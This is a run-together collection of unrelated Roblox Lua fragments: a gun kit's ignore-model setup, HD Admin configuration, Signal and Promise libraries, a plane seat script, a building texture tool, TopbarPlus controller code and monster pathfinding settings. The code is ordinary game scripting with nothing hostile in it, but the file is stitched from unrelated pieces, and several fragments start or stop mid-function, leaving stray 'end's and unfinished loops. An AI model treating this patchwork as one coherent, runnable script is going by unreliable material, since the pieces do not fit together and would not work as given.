wait(math.random(0, 200) / 200) --This is to prevent more than one Ignore_Model from being created if _G.Ignore_Code then --If the Ignore_Code already exists, then the script creates the Ignore_Model --[[ The purpose of this is so that every gun in a game that uses this gun kit will share one Ignore_Model. That way, bullet trails, bullet holes, and other fake arms will be ignored by the gun which makes the bullets more likely to hit a character part --]] if (not game.Workspace:FindFirstChild("Ignore_Model_".._G.Ignore_Code)) then local Ignore_Model = Instance.new("Model") Ignore_Model.Name = "Ignore_Model_".._G.Ignore_Code Ignore_Model.Parent = game.Workspace spawn(function() while true do Ignore_Model.Parent = game.Workspace wait(1 / 20) end end) end script.Parent:WaitForChild("Gun_Main"):WaitForChild("Ignore_Code").Value = _G.Ignore_Code else --[[ If there isn't already an Ignore_Code, then this creates one. The purpose of it being random is so that if there is an Ignore_Model for something else in the game, the script won't end up placing the ignored objects in that Ignore_Model --]] _G.Ignore_Code = math.random(1, 1e4) if (not game.Workspace:FindFirstChild("Ignore_Model_".._G.Ignore_Code)) then local Ignore_Model = Instance.new("Model") Ignore_Model.Name = "Ignore_Model_".._G.Ignore_Code Ignore_Model.Parent = game.Workspace spawn(function() while true do Ignore_Model.Parent = game.Workspace wait(1 / 20) end end) end script.Parent:WaitForChild("Gun_Main"):WaitForChild("Ignore_Code").Value = _G.Ignore_Code end spawn(function() repeat wait() until _G.Ignore_Code local Ignore_Model = game.Workspace:WaitForChild("Ignore_Model_".._G.Ignore_Code) while true do for _, Gun_Ignore in pairs(Ignore_Model:GetChildren()) do if (not game.Players:FindFirstChild(Gun_Ignore.Name:sub(12))) then Gun_Ignore:Destroy() end end wait(1 / 20) end end)
--// Renders
game:GetService('RunService').Heartbeat:connect(function() if isHeld and newRope then if newDir == 'Up' then newRope.Length = newRope.Length + 0.2 elseif newDir == 'Down' then newRope.Length = newRope.Length - 0.2 end end; end)
-- declarations
local toolAnim = "None" local toolAnimTime = 0 local jumpAnimTime = 0 local jumpAnimDuration = 0.175 local toolTransitionTime = 0.1 local fallTransitionTime = 0.2 local jumpMaxLimbVelocity = 0.75
--------------| SYSTEM SETTINGS |--------------
Prefix = ";"; -- The character you use before every command (e.g. ';jump me'). SplitKey = " "; -- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me'). BatchKey = ""; -- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me' QualifierBatchKey = ","; -- The character used to split up qualifiers (e.g. ;jump player1,player2,player3) Theme = "Black"; -- The default UI theme. NoticeSoundId = 2865227271; -- The SoundId for notices. NoticeVolume = 0.1; -- The Volume for notices. NoticePitch = 1; -- The Pitch/PlaybackSpeed for notices. ErrorSoundId = 2865228021; -- The SoundId for error notifications. ErrorVolume = 0.1; -- The Volume for error notifications. ErrorPitch = 1; -- The Pitch/PlaybackSpeed for error notifications. AlertSoundId = 3140355872; -- The SoundId for alerts. AlertVolume = 0.5; -- The Volume for alerts. AlertPitch = 1; -- The Pitch/PlaybackSpeed for alerts. WelcomeBadgeId = 0; -- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge. CommandDebounce = true; -- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable. SaveRank = true; -- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable. LoopCommands = 3; -- The minimum rank required to use LoopCommands. MusicList = {505757009,}; -- Songs which automatically appear in a user's radio. Type '!radio' to display the radio. ThemeColors = { -- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value}; {"Red", Color3.fromRGB(150, 0, 0), }; {"Orange", Color3.fromRGB(150, 75, 0), }; {"Brown", Color3.fromRGB(120, 80, 30), }; {"Yellow", Color3.fromRGB(130, 120, 0), }; {"Green", Color3.fromRGB(0, 120, 0), }; {"Blue", Color3.fromRGB(0, 100, 150), }; {"Purple", Color3.fromRGB(100, 0, 150), }; {"Pink", Color3.fromRGB(150, 0, 100), }; {"Black", Color3.fromRGB(60, 60, 60), }; }; Colors = { -- The colours for ChatColors and command arguments. | Format: {"ShortName", "FullName", Color3Value}; {"r", "Red", Color3.fromRGB(255, 0, 0) }; {"o", "Orange", Color3.fromRGB(250, 100, 0) }; {"y", "Yellow", Color3.fromRGB(255, 255, 0) }; {"g", "Green" , Color3.fromRGB(0, 255, 0) }; {"dg", "DarkGreen" , Color3.fromRGB(0, 125, 0) }; {"b", "Blue", Color3.fromRGB(0, 255, 255) }; {"db", "DarkBlue", Color3.fromRGB(0, 50, 255) }; {"p", "Purple", Color3.fromRGB(150, 0, 255) }; {"pk", "Pink", Color3.fromRGB(255, 85, 185) }; {"bk", "Black", Color3.fromRGB(0, 0, 0) }; {"w", "White", Color3.fromRGB(255, 255, 255) }; }; ChatColors = { -- The colour a player's chat will appear depending on their rank. '["Owner"] = "Yellow";' makes the owner's chat yellow. [5] = "Yellow"; }; Cmdbar = 1; -- The minimum rank required to use the Cmdbar. Cmdbar2 = 3; -- The minimum rank required to use the Cmdbar2. ViewBanland = 3; -- The minimum rank required to view the banland. OnlyShowUsableCommands = false; -- Only display commands equal to or below the user's rank on the Commands page. RankRequiredToViewPage = { -- || The pages on the main menu || ["Commands"] = 0; ["Admin"] = 0; ["Settings"] = 0; }; RankRequiredToViewRank = { -- || The rank categories on the 'Ranks' subPage under Admin || ["Owner"] = 0; ["HeadAdmin"] = 0; ["Admin"] = 0; ["Mod"] = 0; ["VIP"] = 0; }; RankRequiredToViewRankType = { -- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin || ["Owner"] = 0; ["SpecificUsers"] = 5; ["Gamepasses"] = 0; ["Assets"] = 0; ["Groups"] = 0; ["Friends"] = 0; ["FreeAdmin"] = 0; ["VipServerOwner"] = 0; }; RankRequiredToViewIcon = 0; WelcomeRankNotice = true; -- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable. WelcomeDonorNotice = true; -- The 'You're a Donor' notice that appears when you join the game. Set to false to disable. WarnIncorrectPrefix = true; -- Warn the user if using the wrong prefix | "Invalid prefix! Try using [correctPrefix][commandName] instead!" DisableAllNotices = false; -- Set to true to disable all HD Admin notices. ScaleLimit = 4; -- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked. IgnoreScaleLimit = 3; -- Any ranks equal or above this value will ignore 'ScaleLimit' CommandLimits = { -- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit. ["fly"] = { Limit = 10000; IgnoreLimit = 3; }; ["fly2"] = { Limit = 10000; IgnoreLimit = 3; }; ["noclip"] = { Limit = 10000; IgnoreLimit = 3; }; ["noclip2"] = { Limit = 10000; IgnoreLimit = 3; }; ["speed"] = { Limit = 10000; IgnoreLimit = 3; }; ["jumpPower"] = { Limit = 10000; IgnoreLimit = 3; }; }; VIPServerCommandBlacklist = {"permRank", "permBan", "globalAnnouncement"}; -- Commands players are probihited from using in VIP Servers. GearBlacklist = {67798397}; -- The IDs of gear items to block when using the ;gear command. IgnoreGearBlacklist = 4; -- The minimum rank required to ignore the gear blacklist. PlayerDataStoreVersion = "V1.0"; -- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData. SystemDataStoreVersion = "V1.0"; -- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData. CoreNotices = { -- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices] --NoticeName = NoticeDetails; };
--!
brick = script.Parent cd = button.ClickDetector function onMouseClick(player) if not player then return end end cd.MouseClick:connect(onMouseClick)
--[=[ Constructs a new LinearValue object. @param constructor (number ...) -> T @param values ({ number }) @return LinearValue<T> ]=]
function LinearValue.new(constructor, values) return setmetatable({ _constructor = constructor; _values = values; }, LinearValue) end
---Variables
local Car = script.Parent.Parent.Model local CarStats = script.Parent.Parent.Stats local LightsSpeed = 0.4
-- This value is exposed as a private value so that the test code can stay in -- sync with what event we listen to for dispatching the Changed event. -- It may not be Heartbeat in the future.
Store._flushEvent = RunService.Heartbeat Store.__index = Store
-- Signal class
local Signal = {} Signal.__index = Signal function Signal.new() return setmetatable({_handlerListHead = false}, Signal) end function Signal:Connect(fn) local connection = Connection.new(self, fn) connection._next = (self._handlerListHead and self._handlerListHead) or connection._next self._handlerListHead = connection return connection end function Signal:Fire(...) local item = self._handlerListHead while item do if item._connected then if not freeRunnerThread then freeRunnerThread = coroutine.create(function(...) acquireRunnerThreadAndCallEventHandler(...) while true do acquireRunnerThreadAndCallEventHandler(coroutine.yield()) end end) end task.spawn(freeRunnerThread, item._fn, ...) end item = item._next end end function Signal:Wait() local waitingcoroutine = coroutine.running() local connect; connect = self:Connect(function(...) connect:Disconnect() task.spawn(waitingcoroutine, ...) end) return coroutine.yield() end return Signal
-- The second for loop closes the door, so whatever you do to the top you'll have to do to the bottom. -- The vector3 value has to be a minus number for it to go back, it moves 0.1 studs, therefore it must move -- 0.1 studs back for it to close again. So 0.1 on first = -0.1 on second and the same goes for any number.
end script.Parent.ClickDetector.MouseClick:connect(OnClick)
--Plot Current Electric Horsepower
function GetECurve(x,gear) local hp=(math.max(elecHP(x),0))*100 local tq=(math.max(elecTQ(x),0))*100 if gear~=0 then return hp,math.max(tq*_Tune.Ratios[gear+2]*fFD*hpScaling,0) else return 0,0 end end
--[[ Constructs a new Promise with the given initializing callback. This is generally only called when directly wrapping a non-promise API into a promise-based version. The callback will receive 'resolve' and 'reject' methods, used to start invoking the promise chain. For example: local function get(url) return Promise.new(function(resolve, reject) spawn(function() resolve(HttpService:GetAsync(url)) end) end) end get("https://google.com") :andThen(function(stuff) print("Got some stuff!", stuff) end) Second parameter, parent, is used internally for tracking the "parent" in a promise chain. External code shouldn't need to worry about this. ]]
function Promise.new(callback, parent) if parent ~= nil and not Promise.is(parent) then error("Argument #2 to Promise.new must be a promise or nil", 2) end local self = { -- Used to locate where a promise was created _source = debug.traceback(), -- A tag to identify us as a promise [PromiseMarker] = true, _status = Promise.Status.Started, -- A table containing a list of all results, whether success or failure. -- Only valid if _status is set to something besides Started _values = nil, -- Lua doesn't like sparse arrays very much, so we explicitly store the -- length of _values to handle middle nils. _valuesLength = -1, -- Tracks if this Promise has no error observers.. _unhandledRejection = true, -- Queues representing functions we should invoke when we update! _queuedResolve = {}, _queuedReject = {}, _queuedFinally = {}, -- The function to run when/if this promise is cancelled. _cancellationHook = nil, -- The "parent" of this promise in a promise chain. Required for -- cancellation propagation. _parent = parent, _consumers = setmetatable({}, { __mode = "k"; }), } if parent and parent._status == Promise.Status.Started then parent._consumers[self] = true end setmetatable(self, Promise) local function resolve(...) self:_resolve(...) end local function reject(...) self:_reject(...) end local function onCancel(cancellationHook) if cancellationHook then if self._status == Promise.Status.Cancelled then cancellationHook() else self._cancellationHook = cancellationHook end end return self._status == Promise.Status.Cancelled end local _, result = wpcallPacked(callback, resolve, reject, onCancel) local ok = result[1] local err = result[2] if not ok and self._status == Promise.Status.Started then reject(err) end return self end
-- Clamp a number between low and high:
local function Clamp(n, low, high) return (n < low and low or n > high and high or n) end
---- ----
if hit.Parent:findFirstChild("Humanoid") ~= nil then local target1 = "UpperTorso" local target2 = "UpperTorso2" if hit.Parent:findFirstChild(target2) == nil then local g = script.Parent.Parent[target2]:clone() g.Parent = hit.Parent local C = g:GetChildren() for i=1, #C do if C[i].className == "UnionOperation" or C[i].className =="Part" or C[i].className == "WedgePart" or C[i].className == "MeshPart" then local W = Instance.new("Weld") W.Part0 = g.Middle W.Part1 = C[i] local CJ = CFrame.new(g.Middle.Position) local C0 = g.Middle.CFrame:inverse()*CJ local C1 = C[i].CFrame:inverse()*CJ W.C0 = C0 W.C1 = C1 W.Parent = g.Middle end local Y = Instance.new("Weld") Y.Part0 = hit.Parent[target1] Y.Part1 = g.Middle Y.C0 = CFrame.new(0, -0.5, 0) Y.Parent = Y.Part0 end local h = g:GetChildren() for i = 1, # h do h[i].Anchored = false h[i].CanCollide = false end end end
-- declarations
local Figure = script.Parent local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Humanoid") local pose = "Standing" local toolAnim = "None" local toolAnimTime = 0 local isSeated = false
--// Ammo Settings
Ammo = 30; StoredAmmo = 30; MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge; ExplosiveAmmo = 10;
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function CheckPlayer(Player) --This function checks the player if Customize.GroupSpecific.Value then --If the GroupSpecific value is true... if (not Player:IsInGroup(Customize.GroupSpecific.GroupID.Value)) then --If the player is not part of the group... return false end end return true end function CreateWarning(Player) local RbxGui = assert(LoadLibrary("RbxGui")) local Screen = Instance.new("ScreenGui") Screen.Name = "NotInGroupGui" local Gui = RbxGui.CreateStyledMessageDialog( "You are not in this plane's group!", Player.Name..", you are not a part of the group that this plane is in! Please exit the plane!", "Confirm", { { Text = "OK"; Function = function() if Screen.Parent then local MessageDialog = Screen:findFirstChild("MessageDialog") if MessageDialog then MessageDialog:TweenPosition(UDim2.new(0.25,0,0,-165),"In","Back",0.7,true) end wait(0.7) Screen:Destroy() end end } } ) Gui.Parent = Screen Screen.Parent = Player.PlayerGui return Screen end function GivePlaneTool(Child) --This function puts the tool in the player by using the "SeatWeld" if Child.Name == "SeatWeld" then Player = game.Players:GetPlayerFromCharacter(Child.Part1.Parent) --This gets the Player if Player then local Check = CheckPlayer(Player) if Check then PlaneMain.Parent = Player.Character --This makes the plane a part of the Player's Character Plane = PlaneTool:clone() Plane.Parent = Player.Backpack Plane.Main.Disabled = false --This undisables the Main script in the Tool, but the tool also has a fail safe else if Customize.GroupSpecific.KillOnEnter.Value then wait(0.1) if Player.Character then Player.Character.Humanoid.Health = 0 end else local Gui = CreateWarning(Player) delay(7,function() if Gui.Parent then local MessageDialog = Gui:findFirstChild("MessageDialog") if MessageDialog then MessageDialog:TweenPosition(UDim2.new(0.25,0,0,-165),"In","Back",0.7,true) end wait(0.7) Gui:Destroy() end end) end end end end end function RemovePlaneTool(Child) --This function removes the tool if Child.Name == "SeatWeld" then if Player and Player.PlayerGui:findFirstChild("NotInGroupGui") then Player.PlayerGui["NotInGroupGui"]:Destroy() end if Plane then Plane.Deselect0.Value = Plane.ToolSelect.Value --This makes the Deselect0 value on the plane tool true, which forces deselection wait(0.01) --This gives the tool enough time to activate the function Plane:remove() --This removes the plane tool if Player.Character.Humanoid.Health <= 0 then --If the Player dies... PlaneMain:BreakJoints() --These 3 lines break the plane and remove it after 5 seconds Crashed.Value = true delay(5,function() PlaneMain:Destroy() end) elseif Player.Character.Humanoid.Health > 0 then --If you just jump out of the seat without deselecting the tool... PlaneMain.Parent = Origin.Value --This puts the plane back into the Planekit folder end end end end Seat.ChildAdded:connect(GivePlaneTool) --This activates the "GivePlaneTool" function when you sit on the seat Seat.ChildRemoved:connect(RemovePlaneTool) --This activates the "RemovePlaneTool" function when you get off the seat
--- This will cause a brick to go in motion unanchored or not! ---
while true do wait(0) for i= 1, 100 do script.Parent.CFrame = script.Parent.CFrame * CFrame.new(0,0,-0.3) wait() end end
--// Events
local L_83_ = L_19_:WaitForChild('Equipped') local L_84_ = L_19_:WaitForChild('ShootEvent') local L_85_ = L_19_:WaitForChild('DamageEvent') local L_86_ = L_19_:WaitForChild('CreateOwner') local L_87_ = L_19_:WaitForChild('Stance') local L_88_ = L_19_:WaitForChild('HitEvent') local L_89_ = L_19_:WaitForChild('KillEvent') local L_90_ = L_19_:WaitForChild('AimEvent') local L_91_ = L_19_:WaitForChild('ExploEvent')
-- Current UI layout
local CurrentLayout; function ChangeLayout(Layout) -- Sets the UI to the given layout -- Make sure the new layout isn't already set if CurrentLayout == Layout then return; end; -- Set this as the current layout CurrentLayout = Layout; -- Reset the UI for _, ElementName in pairs(UIElements) do local Element = UI[ElementName]; Element.Visible = false; end; -- Keep track of the total vertical extents of all items local Sum = 0; -- Go through each layout element for ItemIndex, ItemName in ipairs(Layout) do local Item = UI[ItemName]; -- Make the item visible Item.Visible = true; -- Position this item underneath the past items Item.Position = UDim2.new(0, 0, 0, 20) + UDim2.new( Item.Position.X.Scale, Item.Position.X.Offset, 0, Sum + 10 ); -- Update the sum of item heights Sum = Sum + 10 + Item.AbsoluteSize.Y; end; -- Resize the container to fit the new layout UI.Size = UDim2.new(0, 200, 0, 30 + Sum); end; function UpdateUI() -- Updates information on the UI -- Make sure the UI's on if not UI then return; end; -- Get the textures in the selection local Textures = GetTextures(TextureTool.Type, TextureTool.Face); -- References to UI elements local ImageIdInput = UI.ImageIDOption.TextBox; local TransparencyInput = UI.TransparencyOption.Input.TextBox; ----------------------- -- Update the UI layout ----------------------- -- Get the plural version of the current texture type local PluralTextureType = TextureTool.Type .. 's'; -- Figure out the necessary UI layout if #Selection.Items == 0 then ChangeLayout(Layouts.EmptySelection); return; -- When the selection has no textures elseif #Textures == 0 then ChangeLayout(Layouts.NoTextures); return; -- When only some selected items have textures elseif #Selection.Items ~= #Textures then ChangeLayout(Layouts['Some' .. PluralTextureType]); -- When all selected items have textures elseif #Selection.Items == #Textures then ChangeLayout(Layouts['All' .. PluralTextureType]); end; ------------------------ -- Update UI information ------------------------ -- Get the common properties local ImageId = Support.IdentifyCommonProperty(Textures, 'Texture'); local Transparency = Support.IdentifyCommonProperty(Textures, 'Transparency'); -- Update the common inputs UpdateDataInputs { [ImageIdInput] = ImageId and ParseAssetId(ImageId) or ImageId or '*'; [TransparencyInput] = Transparency and Support.Round(Transparency, 3) or '*'; }; -- Update texture-specific information on UI if TextureTool.Type == 'Texture' then -- Get texture-specific UI elements local RepeatXInput = UI.RepeatOption.XInput.TextBox; local RepeatYInput = UI.RepeatOption.YInput.TextBox; -- Get texture-specific common properties local RepeatX = Support.IdentifyCommonProperty(Textures, 'StudsPerTileU'); local RepeatY = Support.IdentifyCommonProperty(Textures, 'StudsPerTileV'); -- Update inputs UpdateDataInputs { [RepeatXInput] = RepeatX and Support.Round(RepeatX, 3) or '*'; [RepeatYInput] = RepeatY and Support.Round(RepeatY, 3) or '*'; }; end; end; function UpdateDataInputs(Data) -- Updates the data in the given TextBoxes when the user isn't typing in them -- Go through the inputs and data for Input, UpdatedValue in pairs(Data) do -- Makwe sure the user isn't typing into the input if not Input:IsFocused() then -- Set the input's value Input.Text = tostring(UpdatedValue); end; end; end; function ParseAssetId(Input) -- Returns the intended asset ID for the given input -- Get the ID number from the input local Id = tonumber(Input) or tonumber(Input:lower():match('%?id=([0-9]+)')) or tonumber(Input:match('/([0-9]+)/')) or tonumber(Input:lower():match('rbxassetid://([0-9]+)')); -- Return the ID return Id; end; function SetFace(Face) -- Update the tool option TextureTool.Face = Face; -- Update the UI FaceDropdown.SetOption(Face and Face.Name or '*'); end; function SetTextureType(TextureType) -- Update the tool option TextureTool.Type = TextureType; -- Update the UI Core.ToggleSwitch(TextureType, UI.ModeOption); UI.AddButton.Button.Text = 'ADD ' .. TextureType:upper(); UI.RemoveButton.Button.Text = 'REMOVE ' .. TextureType:upper(); end; function SetProperty(TextureType, Face, Property, Value) -- Make sure the given value is valid if not Value then return; end; -- Start a history record TrackChange(); -- Go through each texture for _, Texture in pairs(GetTextures(TextureType, Face)) do -- Store the state of the texture before modification table.insert(HistoryRecord.Before, { Part = Texture.Parent, TextureType = TextureType, Face = Face, [Property] = Texture[Property] }); -- Create the change request for this texture table.insert(HistoryRecord.After, { Part = Texture.Parent, TextureType = TextureType, Face = Face, [Property] = Value }); end; -- Register the changes RegisterChange(); end; function SetTextureId(TextureType, Face, AssetId) -- Sets the textures in the selection to the intended, given image asset -- Make sure the given asset ID is valid if not AssetId then return; end; -- Prepare the change request local Changes = { Texture = 'rbxassetid://' .. AssetId; }; -- Attempt an image extraction on the given asset Core.Try(Core.SyncAPI.Invoke, Core.SyncAPI, 'ExtractImageFromDecal', AssetId) :Then(function (ExtractedImage) Changes.Texture = 'rbxassetid://' .. ExtractedImage; end); -- Start a history record TrackChange(); -- Go through each texture for _, Texture in pairs(GetTextures(TextureType, Face)) do -- Create the history change requests for this texture local Before, After = { Part = Texture.Parent, TextureType = TextureType, Face = Face }, { Part = Texture.Parent, TextureType = TextureType, Face = Face }; -- Gather change information to finish up the history change requests for Property, Value in pairs(Changes) do Before[Property] = Texture[Property]; After[Property] = Value; end; -- Store the state of the texture before modification table.insert(HistoryRecord.Before, Before); -- Create the change request for this texture table.insert(HistoryRecord.After, After); end; -- Register the changes RegisterChange(); end; function AddTextures(TextureType, Face) -- Prepare the change request for the server local Changes = {}; -- Go through the selection for _, Part in pairs(Selection.Items) do -- Make sure this part doesn't already have a texture of the same type local HasTextures; for _, Child in pairs(Part:GetChildren()) do if Child.ClassName == TextureType and Child.Face == Face then HasTextures = true; end; end; -- Queue a texture to be created for this part, if not already existent if not HasTextures then table.insert(Changes, { Part = Part, TextureType = TextureType, Face = Face }); end; end; -- Send the change request to the server local Textures = Core.SyncAPI:Invoke('CreateTextures', Changes); -- Put together the history record local HistoryRecord = { Textures = Textures; Unapply = function (HistoryRecord) -- Reverts this change -- Select changed parts Selection.Replace(Support.GetListMembers(HistoryRecord.Textures, 'Parent')); -- Remove the textures Core.SyncAPI:Invoke('Remove', HistoryRecord.Textures); end; Apply = function (HistoryRecord) -- Reapplies this change -- Restore the textures Core.SyncAPI:Invoke('UndoRemove', HistoryRecord.Textures); -- Select changed parts Selection.Replace(Support.GetListMembers(HistoryRecord.Textures, 'Parent')); end; }; -- Register the history record Core.History.Add(HistoryRecord); end; function RemoveTextures(TextureType, Face) -- Get all the textures in the selection local Textures = GetTextures(TextureType, Face); -- Create the history record local HistoryRecord = { Textures = Textures; Unapply = function (HistoryRecord) -- Reverts this change -- Restore the textures Core.SyncAPI:Invoke('UndoRemove', HistoryRecord.Textures); -- Select changed parts Selection.Replace(Support.GetListMembers(HistoryRecord.Textures, 'Parent')); end; Apply = function (HistoryRecord) -- Reapplies this change -- Select changed parts Selection.Replace(Support.GetListMembers(HistoryRecord.Textures, 'Parent')); -- Remove the textures Core.SyncAPI:Invoke('Remove', HistoryRecord.Textures); end; }; -- Send the removal request Core.SyncAPI:Invoke('Remove', Textures); -- Register the history record Core.History.Add(HistoryRecord); end; function TrackChange() -- Start the record HistoryRecord = { Before = {}; After = {}; Unapply = function (Record) -- Reverts this change -- Select the changed parts Selection.Replace(Support.GetListMembers(Record.Before, 'Part')); -- Send the change request Core.SyncAPI:Invoke('SyncTexture', Record.Before); end; Apply = function (Record) -- Applies this change -- Select the changed parts Selection.Replace(Support.GetListMembers(Record.After, 'Part')); -- Send the change request Core.SyncAPI:Invoke('SyncTexture', Record.After); end; }; end; function RegisterChange() -- Finishes creating the history record and registers it -- Make sure there's an in-progress history record if not HistoryRecord then return; end; -- Send the change to the server Core.SyncAPI:Invoke('SyncTexture', HistoryRecord.After); -- Register the record and clear the staging Core.History.Add(HistoryRecord); HistoryRecord = nil; end;
-- BEHAVIOUR --Controller support
coroutine.wrap(function() -- Create PC 'Enter Controller Mode' Icon runService.Heartbeat:Wait() -- This is required to prevent an infinite recursion local Icon = require(iconModule) local controllerOptionIcon = Icon.new() :setProperty("internalIcon", true) :setName("_TopbarControllerOption") :setOrder(100) :setImage(11162828670) :setRight() :setEnabled(false) :setTip("Controller mode") :setProperty("deselectWhenOtherIconSelected", false) -- This decides what controller widgets and displays to show based upon their connected inputs -- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle -- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode userInputService:GetPropertyChangedSignal("MouseEnabled"):Connect(IconController._determineControllerDisplay) userInputService.GamepadConnected:Connect(IconController._determineControllerDisplay) userInputService.GamepadDisconnected:Connect(IconController._determineControllerDisplay) IconController._determineControllerDisplay() -- Enable/Disable Controller Mode when icon clicked local function iconClicked() local isSelected = controllerOptionIcon.isSelected local iconTip = (isSelected and "Normal mode") or "Controller mode" controllerOptionIcon:setTip(iconTip) IconController._enableControllerMode(isSelected) end controllerOptionIcon.selected:Connect(iconClicked) controllerOptionIcon.deselected:Connect(iconClicked) -- Hide/show topbar when indicator action selected in controller mode userInputService.InputBegan:Connect(function(input,gpe) if not IconController.controllerModeEnabled then return end if input.KeyCode == Enum.KeyCode.DPadDown then if not guiService.SelectedObject and checkTopbarEnabledAccountingForMimic() then IconController.setTopbarEnabled(true,false) end elseif input.KeyCode == Enum.KeyCode.ButtonB and not IconController.disableButtonB then if IconController.activeButtonBCallbacks == 1 and TopbarPlusGui.Indicator.Image == "rbxassetid://5278151556" then IconController.activeButtonBCallbacks = 0 guiService.SelectedObject = nil end if IconController.activeButtonBCallbacks == 0 then IconController._previousSelectedObject = guiService.SelectedObject IconController._setControllerSelectedObject(nil) IconController.setTopbarEnabled(false,false) end end input:Destroy() end) -- Setup overflow icons for alignment, detail in pairs(alignmentDetails) do if alignment ~= "mid" then local overflowName = "_overflowIcon-"..alignment local overflowIcon = Icon.new() :setProperty("internalIcon", true) :setImage(6069276526) :setName(overflowName) :setEnabled(false) detail.overflowIcon = overflowIcon overflowIcon.accountForWhenDisabled = true if alignment == "left" then overflowIcon:setOrder(math.huge) overflowIcon:setLeft() overflowIcon:set("dropdownAlignment", "right") elseif alignment == "right" then overflowIcon:setOrder(-math.huge) overflowIcon:setRight() overflowIcon:set("dropdownAlignment", "left") end overflowIcon.lockedSettings = { ["iconImage"] = true, ["order"] = true, ["alignment"] = true, } end end -- This checks if voice chat is enabled task.defer(function() local success, enabledForUser while true do success, enabledForUser = pcall(function() return voiceChatService:IsVoiceEnabledForUserIdAsync(localPlayer.UserId) end) if success then break end task.wait(1) end local function checkVoiceChatManuallyEnabled() if IconController.voiceChatEnabled then if success and enabledForUser then voiceChatIsEnabledForUserAndWithinExperience = true IconController.updateTopbar() end end end checkVoiceChatManuallyEnabled() --------------- FEEL FREE TO DELETE THIS IS YOU DO NOT USE VOICE CHAT WITHIN YOUR EXPERIENCE --------------- localPlayer.PlayerGui:WaitForChild("TopbarPlus", 999) task.delay(10, function() checkVoiceChatManuallyEnabled() if IconController.voiceChatEnabled == nil and success and enabledForUser and isStudio then warn("⚠️TopbarPlus Action Required⚠️ If VoiceChat is enabled within your experience it's vital you set IconController.voiceChatEnabled to true ``require(game.ReplicatedStorage.Icon.IconController).voiceChatEnabled = true`` otherwise the BETA label will not be accounted for within your live servers. This warning will disappear after doing so. Feel free to delete this warning or to set to false if you don't have VoiceChat enabled within your experience.") end end) ------------------------------------------------------------------------------------------------------------ end) end)()
---
if script.Parent.Parent.Parent.IsOn.Value then script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.Parent.IsOn.Value then script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.MouseButton1Click:connect(function() if hinge.DesiredAngle == 0 then sound.SoundId = "rbxassetid://278329638" sound:Play() wait(.4) hinge.DesiredAngle = -1.47 else hinge.DesiredAngle = 0 sound.SoundId = "rbxassetid://278329638" sound:Play() end end)
--[[ This is a script that makes an anchored brick rotate! Just resize the brick to your desired size! This script was made by ProjectTwo Free for anyone to use! ]]
while true do wait() script.Parent.CFrame = script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(0, math.pi/200, 0) end
-- missile.Position = spawnPos
missile.Size = Vector3.new(1,1,1)
-- --
local Info = { -- These are constant values. Don't change them unless you know what you're doing. -- Services Players = Game:GetService 'Players', PathfindingService = Game:GetService 'PathfindingService', -- Advanced settings RecomputePathFrequency = 1, -- The monster will recompute its path this many times per second RespawnWaitTime = 1, -- How long to wait before the monster respawns JumpCheckFrequency = 1, -- How many times per second it will do a jump check } local Data = { -- These are variable values used internally by the script. Advanced users only. LastRecomputePath = 0, Recomputing = false, -- Reocmputing occurs async, meaning this script will still run while it's happening. This variable will prevent the script from running two recomputes at once. PathCoords = {}, IsDead = false, TimeOfDeath = 0, CurrentNode = nil, CurrentNodeIndex = 1, AutoRecompute = true, LastJumpCheck = 0, LastAttack = 0, BaseMonster = Self:Clone(), AttackTrack = nil, }
-- << RETRIEVE FRAMEWORK >>
local main = _G.HDAdminMain local commandInfoForClient = {"Contributors", "Prefixes", "Rank", "Aliases", "Tags", "Description", "Args", "Loopable"} function module:Setup() --Grab all tools local locationsToScan = {main.lighting, main.rs, main.ss, main.starterPack} for _, l in pairs(locationsToScan) do for a,b in pairs(l:GetDescendants()) do if b:IsA("Tool") and b.Parent.Name ~= "BuildingTools" then table.insert(main.listOfTools, b) end end end --Setup morphNames and toolNames for _, morph in pairs(main.server.Morphs:GetChildren()) do main.morphNames[tostring(morph.Name)] = true end for _, tool in pairs(main.listOfTools) do main.toolNames[tostring(tool.Name)] = true end -- local newRankRequiredToViewRankType = {} for subSettingName, rankId in pairs(main.settings.RankRequiredToViewRankType) do subSettingName = string.lower(subSettingName) newRankRequiredToViewRankType[subSettingName] = rankId end main.settings.RankRequiredToViewRankType = newRankRequiredToViewRankType -- local newRankRequiredToViewRank = {} for subSettingName, rankId in pairs(main.settings.RankRequiredToViewRank) do subSettingName = tonumber(subSettingName) or main:GetModule("cf"):GetRankId(subSettingName) newRankRequiredToViewRank[subSettingName] = rankId end main.settings.RankRequiredToViewRank = newRankRequiredToViewRank -- for settingName, details in pairs(main.settings) do if settingName == "BatchKey" then main.settings.BatchKey = tostring(details) 